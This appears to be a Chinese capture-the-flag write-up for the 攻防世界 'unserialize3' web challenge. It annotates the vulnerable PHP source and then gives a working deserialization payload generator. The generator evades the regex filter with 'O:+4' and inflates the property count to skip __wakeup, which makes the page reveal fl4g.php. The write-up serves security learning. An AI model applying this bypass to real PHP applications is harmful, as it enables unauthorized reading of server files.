当前位置:网站首页>攻防世界Web进阶区unserialize3题解
攻防世界Web进阶区unserialize3题解
2022-07-07 22:09:00 【B_secretary】
<?php
class Demo {
private $file = 'index.php';
//构造函数,在变量创建时自动调用,__意为魔术方法,在符合条件时会自动调用
public function __construct($file) {
$this->file = $file;
//“->”在PHP中相当于Python的“.”,用于调用对象的方法
}
//析构函数,在变量销毁时自动调用
function __destruct() {
echo @highlight_file($this->file, true);
}
//打印file中的内容,将文件显示给读者
/* highlight_file(filename,return) 函数对文件进行语法高亮显示,如果 return 参数被设置为true,那么该函数会返回被高亮处理的代码,而不是输出它们。
整段代码的意思就是当文件销毁时会输出$file的代码。at符号(@)在PHP中用作错误控制操作符。当表达式附加@符号时,将忽略该表达式可能生成的错误消息。*/
//在反序列化时会自动调用
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
//将文件名一律变为“index.php”
}
}
if (isset($_GET['var'])) {
/*判断变量var是否被创建,检测变量是否已设置并且非NULL,这段代码就是检测是否传递了get请求的var变量*/
$var = base64_decode($_GET['var']);
//将var解base64编码
if (preg_match('/[oc]:\d+:/i', $var)) {
//匹配var中是否有字符串
die('stop hacking!');
} else {
@unserialize($var);
//反序列化var,此时会调用wakeup函数
}
} else {
highlight_file("index.php");
//显示高亮index.php,这不是我们想要的结果
}
?>题目源码中告诉我们flag在f14g.php中,所以我们想要进入这个文件,那么payload需要满足:
1、不含有preg_match中过滤的字符串或者直接绕过preg_match函数
2、反序列化时绕过wakeup函数
所以我们用序列化的方式构造一个var传入,让变量的value等于f14g.php,那么变量销毁时就会通过析构函数显示f14g.php
构造payload代码:
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
$this->file = 'index.php';
}
}
}
$payload = new Demo('fl4g.php');//创建对象Demo,其file值为f14g.php
$payload = serialize($payload);//序列化操作
$payload = str_replace('O:4', 'O:+4',$payload);
//将其中的“0:4”换成“0:+4”从而绕过正则
$payload = str_replace(':1:', ':2:' ,$payload);
//将序列化中对象个数“1”改为“2”,从而绕过wakeup函数(序列化中记录对象个数的值比对象真正个数大即可绕过wakeup)
//序列化中不可打印的空白等价于%00,到时候需要在payload中加上
echo base64_encode($payload); //对参数进行 base64 编码并打印出来
?>边栏推荐
- Data analysis series 3 σ Rule / eliminate outliers according to laida criterion
- Coindesk comments on the decentralization process of the wave field: let people see the future of the Internet
- The function is really powerful!
- 在网页中打开展示pdf文件
- Zhou Hongqi, 52 ans, est - il encore jeune?
- 【推荐系统基础】正负样本采样和构造
- Robomaster visual tutorial (0) Introduction
- If an exception is thrown in the constructor, the best way is to prevent memory leakage?
- Benchmarking Detection Transfer Learning with Vision Transformers(2021-11)
- 2022.7.7-----leetcode. six hundred and forty-eight
猜你喜欢

Kubectl 好用的命令行工具:oh-my-zsh 技巧和窍门

一鍵免費翻譯300多頁的pdf文檔
![[programming problem] [scratch Level 2] 2019.09 make bat Challenge Game](/img/81/c84432a7d7c2fe8ef377d8c13991d6.png)
[programming problem] [scratch Level 2] 2019.09 make bat Challenge Game

Laser slam learning (2d/3d, partial practice)

快速上手使用本地测试工具postman

The underlying principles and templates of new and delete

用语雀写文章了,功能真心强大!

一键免费翻译300多页的pdf文档

每日刷题记录 (十六)

Coindesk comments on the decentralization process of the wave field: let people see the future of the Internet
随机推荐
QT creator add JSON based Wizard
【编程题】【Scratch二级】2019.09 绘制雪花图案
快速上手使用本地测试工具postman
Orthodontic precautions (continuously updated)
C language learning
Go learning notes (1) environment installation and hello world
第四期SFO销毁,Starfish OS如何对SFO价值赋能?
2022-07-07:原本数组中都是大于0、小于等于k的数字,是一个单调不减的数组, 其中可能有相等的数字,总体趋势是递增的。 但是其中有些位置的数被替换成了0,我们需要求出所有的把0替换的方案数量:
limit 与offset的用法(转载)
ROS from entry to mastery (IX) initial experience of visual simulation: turtlebot3
在网页中打开展示pdf文件
Database interview questions + analysis
Uic564-2 Appendix 4 - flame retardant fire test: flame diffusion
Trust orbtk development issues 2022
95. (cesium chapter) cesium dynamic monomer-3d building (building)
How to measure whether the product is "just needed, high frequency, pain points"
Data analysis series 3 σ Rule / eliminate outliers according to laida criterion
从Starfish OS持续对SFO的通缩消耗,长远看SFO的价值
【编程题】【Scratch二级】2019.12 飞翔的小鸟
每日刷题记录 (十六)